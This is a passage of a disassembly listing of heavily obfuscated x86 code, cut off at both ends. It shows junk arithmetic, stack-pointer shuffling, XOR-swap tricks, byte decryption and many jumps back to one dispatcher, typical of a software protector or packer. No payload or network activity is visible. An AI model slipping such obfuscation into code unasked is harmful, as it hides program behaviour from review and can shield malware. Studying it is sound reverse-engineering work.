edi, 4 add ebx, edi pop edi add ebx, 4 xchg ebx, [esp-6ECEh+arg_6EC6] pop esp push ebp jmp loc_58D16C ; --------------------------------------------------------------------------- loc_5874E3: ; CODE XREF: sub_581EE9+E8B9j jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_5874E8: ; CODE XREF: sub_581EE9+924Dj sub edi, 18F47557h jmp loc_58ABC1 ; --------------------------------------------------------------------------- loc_5874F3: ; CODE XREF: sub_581EE9+FBECj sub esp, 4 mov [esp-6ECAh+arg_6EC2], ecx push esp pop ecx push esi mov esi, 4 jmp loc_58B1B7 ; --------------------------------------------------------------------------- loc_587509: ; CODE XREF: sub_581EE9+E91Fj not bp jmp loc_587F38 ; --------------------------------------------------------------------------- loc_587511: ; CODE XREF: sub_581EE9+9F2Bj mov ebp, 3699013Bh add ebp, 0FFFFFFFFh or ebp, 5826339Fh dec ebp jmp loc_58883E ; --------------------------------------------------------------------------- loc_587528: ; CODE XREF: sub_581EE9+95B4j mov word ptr [esp-6EC6h+arg_6EBE], ax mov ah, 3Ah jmp loc_58F759 ; --------------------------------------------------------------------------- loc_587533: ; CODE XREF: sub_581EE9+7201j push 5EE37199h jmp loc_587B45 ; --------------------------------------------------------------------------- loc_58753D: ; CODE XREF: sub_581EE9+C8F9j not eax or eax, 2330188Fh push ebp jmp loc_588662 ; --------------------------------------------------------------------------- loc_58754A: ; CODE XREF: sub_581EE9+5CD8j mov [esp-6EBEh+arg_6EB6], esi jmp loc_58B200 ; --------------------------------------------------------------------------- loc_587552: ; CODE XREF: sub_581EE9+88BFj add esp, 4 xor ebp, 18616DA8h mov edx, ebp pop ebp or edx, 155C203Dh or edx, 40070242h add edx, 0D1A8D3AEh add ecx, edx pop edx jmp loc_58A881 ; --------------------------------------------------------------------------- loc_58757B: ; CODE XREF: sub_581EE9+F54Aj xor byte ptr [esp-6ECAh+arg_6EC2], al pushf jmp loc_58FAA0 ; --------------------------------------------------------------------------- loc_587584: ; CODE XREF: sub_581EE9+592Fj and eax, 188403C4h push ecx mov ecx, 50E31C99h or ecx, 6D46A8Bh sub ecx, 156B1559h xor ecx, 410C6A00h jmp loc_58BDED ; --------------------------------------------------------------------------- loc_5875A6: ; CODE XREF: sub_581EE9+45D5j add esi, 4 jmp loc_58AC1D ; --------------------------------------------------------------------------- loc_5875B1: ; CODE XREF: sub_581EE9+EC79j pop eax push 0DA7h mov [esp-6EEEh+arg_6EE4+2], ebx jmp loc_58F195 ; --------------------------------------------------------------------------- loc_5875BF: ; CODE XREF: sub_581EE9+5178j pop ecx xchg eax, [esp-6F06h+arg_6EFE] pop esp mov [esp-6F0Ah+arg_6F02], eax mov eax, 2530251Eh sub [esp-6F0Ah+arg_6F06], eax pop eax sub [esp-6F0Eh+arg_6F06], 49255AF8h jmp loc_59157B ; --------------------------------------------------------------------------- loc_5875DD: ; CODE XREF: sub_581EE9+74CFj mov [esp-6F0Eh+arg_6F06], ebx mov ebx, 5FA765FCh shl ebx, 1 jmp loc_58E50F ; --------------------------------------------------------------------------- loc_5875EC: ; DATA XREF: sub_581EE9+3CA7o lodsb xor al, bl sub esp, 4 jmp loc_58B10B ; --------------------------------------------------------------------------- loc_5875FA: ; CODE XREF: sub_581EE9+B0CBj add esi, 60ED206Ch add esi, ecx sub esi, 60ED206Ch mov ecx, [esp-6F0Ah+arg_6F02] add esp, 4 jmp loc_58C364 ; --------------------------------------------------------------------------- loc_587616: ; CODE XREF: sub_581EE9+8462j and eax, 5EA77551h sub eax, 0FFFFFFFFh neg eax not eax xor eax, 7E376AB1h sub edi, eax pop eax sub edi, 0D471DDA1h add eax, edi pop edi jmp loc_58C334 ; --------------------------------------------------------------------------- loc_587638: ; CODE XREF: sub_581EE9+B574j and [edi+1Ch], ecx push [esp-6F16h+arg_6F0E] mov ecx, [esp-6F12h+arg_6F0A] add esp, 4 push edi jmp loc_58AC87 ; --------------------------------------------------------------------------- loc_58764A: ; CODE XREF: sub_581EE9+EB09j mov [esp-6F12h+arg_6F0A], edi push ebx push 447C2E31h pop ebx push ebx xchg edx, [esp-6F0Ah+arg_6F02] not edx xchg edx, [esp-6F0Ah+arg_6F02] pop ebx shl ebx, 3 xor ebx, 0E6C6F4B2h mov edi, ebx jmp loc_588BBF ; --------------------------------------------------------------------------- loc_58766E: ; CODE XREF: sub_581EE9+6D8Ej mov [esp-6F0Eh+arg_6F06], ecx jmp loc_5878A8 ; --------------------------------------------------------------------------- loc_587676: ; CODE XREF: sub_581EE9+7668j mov [esp-6F0Eh+arg_6F06], eax push 1AC5h mov [esp-6F0Ah+arg_6F02], ebp mov ebp, 2F106956h sub [esp-6F0Ah+arg_6F06], ebp jmp loc_58BFC4 ; --------------------------------------------------------------------------- loc_58768F: ; CODE XREF: sub_581EE9+E20Dj pop ecx push eax mov eax, 66E619BCh jmp loc_58F79B ; --------------------------------------------------------------------------- loc_58769B: ; CODE XREF: sub_581EE9+EB2Fj or ebp, 554717D9h push eax mov eax, 0F2A5921h shr eax, 8 dec eax push ebx jmp loc_58C82F ; --------------------------------------------------------------------------- loc_5876B1: ; CODE XREF: sub_581EE9+6E44j mov bl, ch pop ecx not bl mov ah, bl pop ebx xchg ah, byte ptr [esp-6F0Ah+arg_6F02] jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_5876C1: ; CODE XREF: sub_581EE9+6984j push ebp mov ebp, 4 jmp loc_58CDD0 ; --------------------------------------------------------------------------- loc_5876CC: ; CODE XREF: sub_581EE9+5270j sub eax, 0DC7B9301h mov edi, eax mov eax, [esp-6EE0h+arg_6ED6+2] jmp loc_58866D ; --------------------------------------------------------------------------- loc_5876DB: ; CODE XREF: sub_581EE9+73F0j sub al, bl jmp loc_58A6C6 ; --------------------------------------------------------------------------- loc_5876E2: ; CODE XREF: sub_581EE9+8E8Fj push [esp-6EE0h+arg_6ED6+2] pop esi push eax jmp loc_586198 ; --------------------------------------------------------------------------- loc_5876EC: ; CODE XREF: sub_581EE9+AAE9j add edi, ebp sub edi, 1AAE4070h pop ebp xor edi, [esp-6EE0h+arg_6ED6+2] xor [esp-6EE0h+arg_6ED6+2], edi xor edi, [esp-6EE0h+arg_6ED6+2] pop esp and [esp-6EE4h+arg_6EDC], eax pushf jmp loc_589ABC ; --------------------------------------------------------------------------- loc_587708: ; CODE XREF: sub_581EE9+8C16j add ebp, 4 add ebp, 2 xchg ebp, [esp-6EE0h+arg_6ED6+2] jmp loc_586EA4 ; --------------------------------------------------------------------------- loc_587719: ; CODE XREF: sub_581EE9+BD68j mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp-6EE0h+arg_6ED6+2] pop esp mov [esp-6EE4h+arg_6EDC], esi jmp loc_587E63 ; --------------------------------------------------------------------------- loc_587730: ; CODE XREF: sub_581EE9+4E64j push esi sub esp, 4 push esp pop [esp-6EC2h+arg_6EBA] jmp loc_59044F ; --------------------------------------------------------------------------- loc_58773D: ; CODE XREF: sub_581EE9+E0DEj push 1F65h mov [esp-6EC2h+arg_6EBA], ebp pop eax pop ebp jmp loc_58CC0C ; --------------------------------------------------------------------------- loc_58774C: ; DATA XREF: sub_581EE9+3D1Fo push dword ptr [edi+1Ch] popf pop cx rcr [esp-6ECCh+arg_6EC2+2], cl pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58775B: ; CODE XREF: sub_581EE9+912Cj xchg ebp, [esp-6EC8h+arg_6EBE+2] pop esp mov [esp-6ECCh+arg_6EC2+2], eax jmp loc_58CF70 ; --------------------------------------------------------------------------- loc_587767: ; CODE XREF: sub_581EE9+F76Dj mov esp, [esp-6ECCh+arg_6EC2+2] imul cx push 3F5Ch mov [esp-6EC8h+arg_6EBE+2], ebp push esp pop ebp jmp loc_58C42F ; --------------------------------------------------------------------------- loc_58777C: ; CODE XREF: sub_581EE9+BEBAj push 7A2Ah mov [esp-6EC4h+arg_6EBA+2], ebx sub esp, 4 mov [esp-6EC0h+arg_6EB6+2], ecx push 0E9C1311h push [esp-6EBCh+arg_6EB2+2] mov ecx, [esp+0] add esp, 4 push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+0] pop esp jmp loc_58BCDB ; --------------------------------------------------------------------------- loc_5877B0: ; CODE XREF: sub_581EE9+BDC2j xor edx, ebp jmp loc_58FFB8 ; --------------------------------------------------------------------------- loc_5877B7: ; CODE XREF: sub_581EE9+59F5j pop esp pop [esp-6EC0h+arg_6EB6+2] mov esp, [esp-6EC4h+arg_6EBA+2] test ecx, eax pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_5877C6: ; CODE XREF: sub_581EE9+A78Fj xor edx, 651B4F0Bh xor esi, edx pop edx push 3564h mov [esp-6EC0h+arg_6EB6+2], esi mov esi, 379779EEh add edi, 3BC41F83h add edi, esi jmp loc_58809A ; --------------------------------------------------------------------------- loc_5877E9: ; CODE XREF: sub_581EE9+BFB9j add eax, ecx pop ecx xchg eax, [esp-6EC4h+arg_6EBA+2] pop esp mov cx, word ptr [esp-6EC8h+arg_6EBE+2] push edi mov edi, esp add edi, 4 sub edi, 4 jmp loc_58D4E4 ; --------------------------------------------------------------------------- loc_587808: ; CODE XREF: sub_581EE9+7B9Fj add ebp, 0C1A38812h jmp loc_589F91 ; --------------------------------------------------------------------------- loc_587813: ; CODE XREF: sub_581EE9+9904j add eax, 22844F40h jmp loc_587584 ; --------------------------------------------------------------------------- loc_58781D: ; CODE XREF: sub_581EE9+B74Fj mov [esp-6EC4h+arg_6EBA+2], edx jmp loc_58C5A1 ; --------------------------------------------------------------------------- loc_587825: ; CODE XREF: sub_581EE9+8FB2j add ebx, 3DAF1E0Fh push eax mov eax, 2170683Ah sub ebx, eax mov eax, [esp-6EC0h+arg_6EB6+2] jmp loc_58C8DD ; --------------------------------------------------------------------------- loc_58783B: ; CODE XREF: sub_581EE9+43BEj xor edi, ebp xor ebp, edi xor eax, ebp xor ebp, eax xor eax, ebp sub esp, 4 mov [esp-6ECAh+arg_6EC2], ebp mov ebp, 3EBD73B7h push esi mov esi, 7C8F4A68h and ebp, esi mov esi, [esp-6EC6h+arg_6EBE] add esp, 4 push eax mov eax, 65B67FE1h sub eax, 60195AEFh add eax, 1 xor eax, 7B55518Bh jmp loc_58ADAE ; --------------------------------------------------------------------------- loc_587878: ; CODE XREF: sub_581EE9+8525j push edi mov edi, 68AC25B7h sub eax, edi mov edi, [esp-6EC2h+arg_6EBA] jmp loc_58E073 ; --------------------------------------------------------------------------- loc_587888: ; CODE XREF: sub_581EE9+721Cj mov esi, 78E8283Ah push ecx mov ecx, 78E8283Bh xor esi, ecx jmp loc_58B7D1 ; --------------------------------------------------------------------------- loc_58789A: ; CODE XREF: sub_581EE9+F9D5j xor bl, 1 add al, bl pop ebx mov ecx, [esp-6EC2h+arg_6EBA] jmp loc_586172 ; --------------------------------------------------------------------------- loc_5878A8: ; CODE XREF: sub_581EE9+5788j mov ecx, esp add ecx, 4 jmp loc_591B80 ; --------------------------------------------------------------------------- loc_5878B5: ; CODE XREF: sub_581EE9+E5DEj add edx, 4 sub edx, 4 xchg edx, [esp-6F0Eh+arg_6F06] pop esp jmp loc_58AB72 ; --------------------------------------------------------------------------- loc_5878C7: ; CODE XREF: sub_581EE9+5B9Cj push [esp-6F12h+arg_6F0E] mov ebx, [esp-6F0Eh+arg_6F06] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp-6F0Ah+arg_6F02] jmp loc_5877B7 ; --------------------------------------------------------------------------- loc_5878E3: ; CODE XREF: sub_581EE9+5C57j add ecx, edx jmp loc_585D12 ; --------------------------------------------------------------------------- loc_5878EA: ; CODE XREF: sub_581EE9+98D2j add esp, 4 push eax mov eax, 24h add eax, edi push edx mov edx, 0 add edx, eax add [edx], esi pop edx pop eax pop esi loc_587902: ; CODE XREF: sub_581EE9+A6FFj push ebp jmp loc_58D4DD ; --------------------------------------------------------------------------- loc_587908: ; CODE XREF: sub_581EE9+A3E5j mov [esp-6F0Eh+arg_6F06], esi push 2C8Dh sub esp, 4 mov [esp-6F06h+arg_6EFE], esp add [esp-6F06h+arg_6EFE], 4 pop [esp-6F06h+arg_6EFE] add [esp-6F0Ah+arg_6F02], 4 pop esi add esi, 4 jmp loc_585CD6 ; --------------------------------------------------------------------------- loc_587933: ; CODE XREF: sub_581EE9+C9AEj jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_587938: ; CODE XREF: sub_581EE9+683Ej add ecx, ebp push edx sub esp, 4 mov [esp-6F06h+arg_6EFE], ebp push 1CD62112h jmp loc_58A7A5 ; --------------------------------------------------------------------------- loc_58794E: ; CODE XREF: sub_581EE9+B543j push ebx jmp loc_587128 ; --------------------------------------------------------------------------- loc_587954: ; DATA XREF: sub_581EE9+3BD7o push [esp-6EFEh+arg_6EF6] pop ecx push 1274h mov [esp-6EFAh+arg_6EF0+2], ecx mov ecx, esp jmp loc_58B113 ; --------------------------------------------------------------------------- loc_587967: ; CODE XREF: sub_581EE9+8D99j sub esp, 4 jmp loc_58FA3F ; --------------------------------------------------------------------------- loc_587972: ; CODE XREF: sub_581EE9+8840j shr ecx, 6 and ecx, 5A9E2707h xor ecx, 44B13EBBh add ecx, 2CE1DDEFh add esi, ecx pop ecx add esi, eax push edx mov edx, 719D1DA9h add esi, 5DDE35B8h sub esi, edx sub esi, 5DDE35B8h pop edx jmp loc_58C877 ; --------------------------------------------------------------------------- loc_5879A6: ; CODE XREF: sub_581EE9+EE82j add ebp, 4 add ebp, 4 jmp loc_588124 ; --------------------------------------------------------------------------- loc_5879B4: ; CODE XREF: sub_581EE9+6943j sub al, 22h sub al, bl add al, 22h push [esp-6EFAh+arg_6EF0+2] jmp loc_5893A7 ; --------------------------------------------------------------------------- loc_5879C2: ; CODE XREF: sub_581EE9+506Ej pop ecx sub esp, 4 mov [esp-6EB0h+arg_6EA8], edi mov edi, 1A0F5D0Bh neg edi xchg edx, edi push edx not [esp-6EACh+arg_6EA4] jmp loc_58D4A4 ; --------------------------------------------------------------------------- loc_5879DE: ; CODE XREF: sub_581EE9+9604j xor esi, 3212506Fh add ebx, esi jmp loc_58F9E5 ; --------------------------------------------------------------------------- loc_5879EB: ; CODE XREF: sub_581EE9+CDE1j mov word ptr [esp-6EACh+arg_6EA4], ax jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_5879F4: ; CODE XREF: sub_581EE9+E002j pop edi add edi, 4 sub esp, 4 mov [esp-6EACh+arg_6EA4], eax mov eax, 4 add edi, 7481451h jmp loc_58E22E ; --------------------------------------------------------------------------- loc_587A11: ; CODE XREF: sub_581EE9+54B7j push edx mov edx, 4 add edi, edx pop edx xchg edi, [esp-6EBEh+arg_6EB6] pop esp jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_587A23: ; CODE XREF: sub_581EE9+945Dj add esp, 4 sub edx, 3BE623F6h add ebx, edx pop edx add ebx, 2 jmp loc_58FD3A ; --------------------------------------------------------------------------- loc_587A3D: ; CODE XREF: sub_581EE9+EC6Fj push dword ptr [edi+eax*4] jmp loc_58F05D ; --------------------------------------------------------------------------- loc_587A45: ; CODE XREF: sub_581EE9+916Fj pop eax or [edi+1Ch], esi mov esi, [esp-6ECAh+arg_6EC2] push 2A06h mov [esp-6EC6h+arg_6EBE], esi mov esi, esp add esi, 4 jmp loc_58E268 ; --------------------------------------------------------------------------- loc_587A61: ; CODE XREF: sub_581EE9+D3B3j xor [esp-6EC6h+arg_6EBE], esi xor esi, [esp-6EC6h+arg_6EBE] xor [esp-6EC6h+arg_6EBE], esi xchg ecx, esi jmp loc_5916B3 ; --------------------------------------------------------------------------- loc_587A71: ; CODE XREF: sub_581EE9+AF5Fj mov cx, word ptr [esp-6EC6h+arg_6EBE] add esp, 2 push edx jmp loc_58C7C9 ; --------------------------------------------------------------------------- loc_587A7E: ; CODE XREF: sub_581EE9+E6B2j add ebx, 4 push ebx jmp loc_5878C7 ; --------------------------------------------------------------------------- loc_587A8A: ; CODE XREF: sub_581EE9+D904j add esp, 4 and edx, 5F4956C9h shr edx, 3 jmp loc_58F879 ; --------------------------------------------------------------------------- loc_587A9E: ; CODE XREF: sub_581EE9+B774j push edi push esi mov esi, 3FBD319Bh xor esi, 6D5353B6h mov edi, esi pop esi mov ebx, edi pop edi push esi push ebx push eax mov eax, 0B2D285Bh jmp loc_58B05D ; --------------------------------------------------------------------------- loc_587ABE: ; CODE XREF: sub_581EE9+AFBAj pop ebp pop eax add ecx, edi pop edi sub ecx, 4 xor ecx, [esp-6EC6h+arg_6EBE] xor [esp-6EC6h+arg_6EBE], ecx xor ecx, [esp-6EC6h+arg_6EBE] mov esp, [esp-6EC6h+arg_6EBE] mov [esp-6EC6h+arg_6EBE], edx push eax pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_587ADC: ; CODE XREF: sub_581EE9+6D3Aj add esp, 4 pop [esp-6EC2h+arg_6EBA] pop esp mov ax, word ptr [esp-6ECAh+arg_6EC2] sub esp, 4 jmp loc_590B3B ; --------------------------------------------------------------------------- loc_587AF2: ; CODE XREF: sub_581EE9+903Cj mov esp, [esp-6EC6h+arg_6EBE] movzx cx, al push small 1FCEh mov word ptr [esp-6EC4h+arg_6EBA+2], cx jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_587B06: ; CODE XREF: sub_581EE9+B3E9j pop edx jmp loc_5911F7 ; --------------------------------------------------------------------------- loc_587B0C: ; CODE XREF: sub_581EE9+B680j push ecx push edx mov dl, 0D7h shl dl, 1 inc dl or dl, 4Ch jmp loc_5907EB ; --------------------------------------------------------------------------- loc_587B1C: ; CODE XREF: sub_581EE9+8D6Dj mov ebx, 709D2B30h or ebx, 3BDC4A14h dec ebx jmp loc_58A9C4 ; --------------------------------------------------------------------------- loc_587B2D: ; CODE XREF: sub_581EE9+7A61j add ebx, 4 jmp loc_591B02 ; --------------------------------------------------------------------------- loc_587B35: ; CODE XREF: sub_581EE9+9DD3j sub esp, 4 mov [esp-6EBCh+arg_6EB2+2], edx mov edx, 4 jmp loc_5878E3 ; --------------------------------------------------------------------------- loc_587B45: ; CODE XREF: sub_581EE9+564Fj pop edx shl edx, 7 push ebp mov ebp, esp jmp loc_58A698 ; --------------------------------------------------------------------------- loc_587B51: ; CODE XREF: sub_581EE9+72D8j sub bl, 47h pop ecx push eax mov ah, bl mov dl, ah pop eax pop ebx push ecx jmp loc_58DDC7 ; --------------------------------------------------------------------------- loc_587B62: ; CODE XREF: sub_581EE9+844Bj pop esi push edi push 22C4h mov [esp-6EC2h+arg_6EBA], ebp push 13456554h pop ebp jmp loc_587C68 ; --------------------------------------------------------------------------- loc_587B77: ; CODE XREF: sub_581EE9+A75Ej mov ebp, esp sub esp, 4 mov [esp-6EBEh+arg_6EB6], edi mov edi, 319A5A3Bh not edi add edi, 1 dec edi xor edi, 6BE9281Eh jmp loc_58E929 ; --------------------------------------------------------------------------- loc_587B9B: ; CODE XREF: sub_581EE9+7637j sub al, 3Eh add cl, al mov eax, [esp-6EBEh+arg_6EB6] add esp, 4 add cl, 7Fh jmp loc_58A3DA ; --------------------------------------------------------------------------- loc_587BB0: ; CODE XREF: sub_581EE9+D55Cj pop eax add esp, 4 sub eax, 7EC34158h push 5D31h jmp loc_58754A ; --------------------------------------------------------------------------- loc_587BC6: ; CODE XREF: sub_581EE9+54C0j push eax push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xor ecx, [esp-6EB6h+arg_6EAC+2] xor [esp-6EB6h+arg_6EAC+2], ecx xor ecx, [esp-6EB6h+arg_6EAC+2] mov esp, [esp-6EB6h+arg_6EAC+2] mov [esp-6EB6h+arg_6EAC+2], esp add [esp-6EB6h+arg_6EAC+2], 4 pop eax add eax, 4 add eax, 4 push eax jmp loc_587095 ; --------------------------------------------------------------------------- loc_587BFA: ; CODE XREF: sub_581EE9+F1EAj dec ebx jmp loc_5892B7 ; --------------------------------------------------------------------------- dword_587C00 dd 24048B66h, 4EC81h, 4890000h, 0F316824h, 74E90000h ; DATA XREF: sub_581EE9+3D6Fo db 0E9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_587C17: ; CODE XREF: sub_581EE9+87E6j add al, 4Fh push [esp-6EB6h+arg_6EAC+2] jmp loc_58C02B ; --------------------------------------------------------------------------- loc_587C21: ; CODE XREF: sub_581EE9+B9FCj mov bl, 6Fh jmp loc_58F407 ; --------------------------------------------------------------------------- loc_587C28: ; CODE XREF: sub_581EE9+C401j add ebp, 4 add ebp, 4 xor ebp, [esp-6EB2h+arg_6EA8+2] xor [esp-6EB2h+arg_6EA8+2], ebp xor ebp, [esp-6EB2h+arg_6EA8+2] pop esp push eax mov eax, esp jmp loc_586801 ; --------------------------------------------------------------------------- loc_587C43: ; CODE XREF: sub_581EE9+FA0Aj sub ebp, 39E8271Ch add ebp, ebx add ebp, 39E8271Ch pop ebx push ebp push [esp-6EB2h+arg_6EAC+2] pop ebp pop [esp-6EB2h+arg_6EA8+2] jmp loc_58BE65 ; --------------------------------------------------------------------------- loc_587C60: ; CODE XREF: sub_581EE9+C461j pop ebx push edi push edx jmp loc_58A46A ; --------------------------------------------------------------------------- loc_587C68: ; CODE XREF: sub_581EE9+5C89j sub esp, 4 mov [esp-6EBEh+arg_6EB6], eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp-6EBEh+arg_6EB6] jmp loc_586001 ; --------------------------------------------------------------------------- loc_587C85: ; CODE XREF: sub_581EE9+6D98j add ebx, eax pop eax pop ecx jmp loc_58A2B3 ; --------------------------------------------------------------------------- loc_587C8E: ; CODE XREF: sub_581EE9+C603j jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_587C93: ; CODE XREF: sub_581EE9+C08Ej push ebp jmp loc_58DE07 ; --------------------------------------------------------------------------- loc_587C99: ; CODE XREF: sub_581EE9+CCD6j xor ecx, [esp-6EC2h+arg_6EBA] xor [esp-6EC2h+arg_6EBA], ecx xor ecx, [esp-6EC2h+arg_6EBA] pop esp imul cl movzx cx, ah sub esp, 4 mov [esp-6EC2h+arg_6EBA], esi push esp jmp loc_586C72 ; --------------------------------------------------------------------------- loc_587CB5: ; CODE XREF: sub_581EE9+4FEAj mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp-6EA8h+arg_6E9E+2] pop esp dec ebp push edi mov edi, 0D2AAB473h sub ebp, 29C76F8h add ebp, edi push edx mov edx, 1E3D6F2Bh neg edx or edx, 778E3C44h xor edx, 0F552CA2Dh jmp loc_5910D8 ; --------------------------------------------------------------------------- loc_587CEF: ; CODE XREF: sub_581EE9+6E4Aj push 30B40B08h pop edi sub edi, 2321F85Eh mov ebp, edi jmp loc_58ECCF ; --------------------------------------------------------------------------- loc_587D02: ; CODE XREF: sub_581EE9+D1B3j push [esp-6EA4h+arg_6E9A+2] pop eax push edx push esp pop edx push eax push 52F17C62h pop eax inc eax sub eax, 35102DFh push edx jmp loc_590702 ; --------------------------------------------------------------------------- loc_587D1C: ; CODE XREF: sub_581EE9+7BBDj push esi mov esi, 27571EC6h and esi, 3195118h sub esi, 540C1108h xor esi, 0AF04FEFCh add ebx, esi pop esi push ecx mov ecx, 4 add ebx, ecx pop ecx xchg ebx, [esp-6E98h+arg_6E8E+2] jmp loc_58968A ; --------------------------------------------------------------------------- loc_587D48: ; CODE XREF: sub_581EE9+F802j sub ebp, 7800073Bh pop edi push ecx mov ecx, 8A40108h and ecx, 453647BEh shr ecx, 1 sub ecx, 68807C30h add ecx, 686E7BAEh sub ebp, 3F516B1Ah jmp loc_590AA2 ; --------------------------------------------------------------------------- loc_587D74: ; CODE XREF: sub_581EE9+3F09j mov fs:[edx], ax jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_587D7D: ; CODE XREF: sub_581EE9+C056j not byte ptr [esp-6ED8h+arg_6ECE+3] jmp loc_58812C ; --------------------------------------------------------------------------- loc_587D86: ; CODE XREF: sub_581EE9+DBA2j pop ecx push eax push [esp-6ED8h+arg_6ED2+2] pop eax pop [esp-6ED8h+arg_6ECE+2] pop esp push edi mov edi, 4 jmp loc_58E4BB ; --------------------------------------------------------------------------- loc_587D9C: ; CODE XREF: sub_581EE9+B95Aj mov [esp-6EDCh+arg_6ED2+2], ecx jmp loc_59047F ; --------------------------------------------------------------------------- loc_587DA4: ; CODE XREF: sub_581EE9+9091j shr edx, 1 cmp eax, edx jz loc_588171 push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp-6ED8h+arg_6ECE+2] jmp loc_58D0F7 ; --------------------------------------------------------------------------- loc_587DC1: ; CODE XREF: sub_581EE9+DFC1j add ecx, edx add dword ptr [ecx], 1 pop ecx pop edx mov eax, [esp-6EE0h+arg_6ED6+2] push edx jmp loc_5913A9 ; --------------------------------------------------------------------------- loc_587DD4: ; CODE XREF: sub_581EE9+F488j sub ecx, 0AE053B9Eh add eax, ecx mov ecx, [esp-6EDCh+arg_6ED2+2] push edi jmp loc_587F45 ; --------------------------------------------------------------------------- loc_587DE5: ; CODE XREF: sub_581EE9+BC1Aj mov ebx, 96553EEh sub eax, ebx jmp loc_59125D ; --------------------------------------------------------------------------- loc_587DF1: ; DATA XREF: sub_581EE9+3CBFo pop small word ptr [edx] jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_587DF9: ; CODE XREF: sub_581EE9+80ABj inc ecx neg ecx shl ecx, 5 jmp loc_590141 ; --------------------------------------------------------------------------- loc_587E04: ; CODE XREF: sub_581EE9+8219j add esp, 4 or ecx, 55CE43E7h push ebp jmp loc_59180D ; --------------------------------------------------------------------------- loc_587E16: ; CODE XREF: sub_581EE9+97B7j pop esp movzx ecx, ax push 3DC5h jmp loc_59063F ; --------------------------------------------------------------------------- loc_587E24: ; CODE XREF: sub_581EE9+A40Aj push ebx mov ebx, 7D695D36h push edx mov edx, 7F774E22h add ebx, edx pop edx push esi sub esp, 4 jmp loc_58FBBA ; --------------------------------------------------------------------------- loc_587E3F: ; CODE XREF: sub_581EE9+B2E2j pop esp push eax mov eax, esp push 33D3h mov [esp-6ECAh+arg_6EC2], esi mov esi, 15BB4B3Bh jmp loc_58945D ; --------------------------------------------------------------------------- loc_587E55: ; CODE XREF: sub_581EE9+4D61j mov [esp-6ED4h+arg_6ECA+2], esp add [esp-6ED4h+arg_6ECA+2], 4 pop edx push edi jmp loc_58A688 ; --------------------------------------------------------------------------- loc_587E63: ; CODE XREF: sub_581EE9+5842j sub esp, 4 mov [esp-6EE0h+arg_6ED6+2], esp jmp loc_58BEF2 ; --------------------------------------------------------------------------- loc_587E6E: ; CODE XREF: sub_581EE9+F335j sub ch, al pop eax xor al, ch jmp loc_589A33 ; --------------------------------------------------------------------------- loc_587E78: ; CODE XREF: sub_581EE9+F981j pop esp push ebx mov ebx, 4 add ecx, ebx mov ebx, [esp-6EE4h+arg_6EDC] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp-6EE0h+arg_6ED6+2] pop esp add ecx, 2 jmp loc_58679B ; --------------------------------------------------------------------------- loc_587E9F: ; CODE XREF: sub_581EE9+3F7Ej push 2F3Fh mov [esp-6ED0h+arg_6EC6+2], edx push eax pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_587EAE: ; CODE XREF: sub_581EE9+B595j pop esi sub eax, 70D36A55h push edx mov edx, 7B757537h sub eax, edx pop edx push 3EBDh mov [esp-6EC8h+arg_6EBE+2], ebx push edx push 3A9117DDh pop edx push edi mov edi, 9D9E6225h mov ebx, edi jmp loc_586866 ; --------------------------------------------------------------------------- loc_587ED9: ; CODE XREF: sub_581EE9+B082j pop edi push ecx mov ecx, 4 jmp loc_58739D ; --------------------------------------------------------------------------- loc_587EE5: ; CODE XREF: sub_581EE9+A6A6j push 2EFh mov [esp-6EBCh+arg_6EB2+2], ebx push edx mov edx, 1D8635A9h neg edx sub edx, 0E279CA53h mov ebx, edx jmp loc_58E67D ; --------------------------------------------------------------------------- loc_587F02: ; CODE XREF: sub_581EE9+CDC7j add edx, 4 sub edx, 4 jmp loc_588357 ; --------------------------------------------------------------------------- loc_587F10: ; CODE XREF: sub_581EE9+6630j pop edi or edx, eax shl edx, 1 push esi jmp loc_58EEB8 ; --------------------------------------------------------------------------- loc_587F1B: ; CODE XREF: sub_581EE9+5484j add ecx, 45410C9Ch pop edi xchg ecx, [esp-6EEAh+arg_6EE0+2] jmp loc_58E976 ; --------------------------------------------------------------------------- loc_587F2A: ; DATA XREF: sub_581EE9+3BB3o push [esp-6EEAh+arg_6EE0+2] mov eax, [esp-6EE6h+arg_6EDC+2] add esp, 4 jmp loc_58DF8B ; --------------------------------------------------------------------------- loc_587F38: ; CODE XREF: sub_581EE9+5623j inc bp add bp, 3F27h push edi jmp loc_58EBC9 ; --------------------------------------------------------------------------- loc_587F45: ; CODE XREF: sub_581EE9+5EF7j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp-6ED8h+arg_6ECE+2] pop esp push edi jmp loc_58E05A ; --------------------------------------------------------------------------- loc_587F5D: ; CODE XREF: sub_581EE9+C8CBj sub edx, eax mov eax, [esp-6ED8h+arg_6ECE+2] add esp, 4 push eax mov eax, 57FA5617h inc eax add eax, 0E08A1752h shr eax, 6 jmp loc_590DE4 ; --------------------------------------------------------------------------- mov ax, word ptr [esp-6ED8h+arg_6ECE+2] push ebx jmp loc_5911DC ; --------------------------------------------------------------------------- loc_587F83: ; CODE XREF: sub_581EE9+EDF2j xor ebp, 79237492h jmp loc_58F0C8 ; --------------------------------------------------------------------------- loc_587F8E: ; CODE XREF: sub_581EE9+AB8Ej add ebx, edi sub ebx, 24756338h mov edi, [esp-6ED4h+arg_6ECA+2] add esp, 4 push ebx push [esp-6ED4h+arg_6ECE+2] jmp loc_58F369 ; --------------------------------------------------------------------------- loc_587FA6: ; CODE XREF: sub_581EE9+4C63j xchg 